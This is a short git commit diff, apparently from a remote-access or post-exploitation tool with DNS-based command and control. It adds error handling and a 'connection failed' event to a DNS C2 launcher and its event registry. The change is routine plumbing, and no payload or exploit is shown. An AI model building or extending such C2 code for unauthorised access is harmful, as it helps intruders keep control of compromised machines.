dnscnc: Fire event on connection error

This commit is contained in:
Oleksii Shevchuk 2018-10-30 19:37:13 +02:00
parent 6a75f7673f
commit b1439dc8ba
2 changed files with 12 additions and 3 deletions

View File

@ -407,7 +407,13 @@ class DNSCncLauncher(BaseLauncher):
wait = True
elif command[0] == 'connect':
connection = self.on_connect(command)
try:
connection = self.on_connect(command)
except socket.error:
pass
if not connection:
self.event(0x20000000 | 0xFFFE)
if wait:
sleep(5)

View File

@ -34,6 +34,7 @@ ON_DISCONNECT = CLIENT | 1
ON_JOB_EXIT = CLIENT | 2
ON_CLIENT_EXIT = CUSTOM | 0xFFFF
ON_CLIENT_CONNECTION_FAILED = CUSTOM | 0xFFFE
ON_DNSCNC_SESSION = DNSCNC | 0
ON_DNSCNC_SESSION_LOST = DNSCNC | 1
@ -52,7 +53,6 @@ ON_EXIT = SERVER | 1
EVENTS_ID_REGISTRY = {
ON_START: 'start',
ON_EXIT: 'exit',
ON_CLIENT_EXIT: 'client_exit',
ON_CONNECT: 'connect',
ON_DISCONNECT: 'disconnect',
ON_JOB_EXIT: 'job completed',
@ -65,7 +65,10 @@ EVENTS_ID_REGISTRY = {
ON_DNSCNC_USER_INACTIVE: 'dnscnc user inactive',
ON_DNSCNC_HIGH_RESOURCE_USAGE: 'dnscnc high resource usage',
ON_DNSCNC_USERS_INCREMENT: 'dnscnc users increment',
ON_DNSCNC_USERS_DECREMENT: 'dnscnc users decrement'
ON_DNSCNC_USERS_DECREMENT: 'dnscnc users decrement',
ON_CLIENT_EXIT: 'client_exit',
ON_CLIENT_CONNECTION_FAILED: 'dnscnc connection failed'
}
class EventRegistrationException(Exception):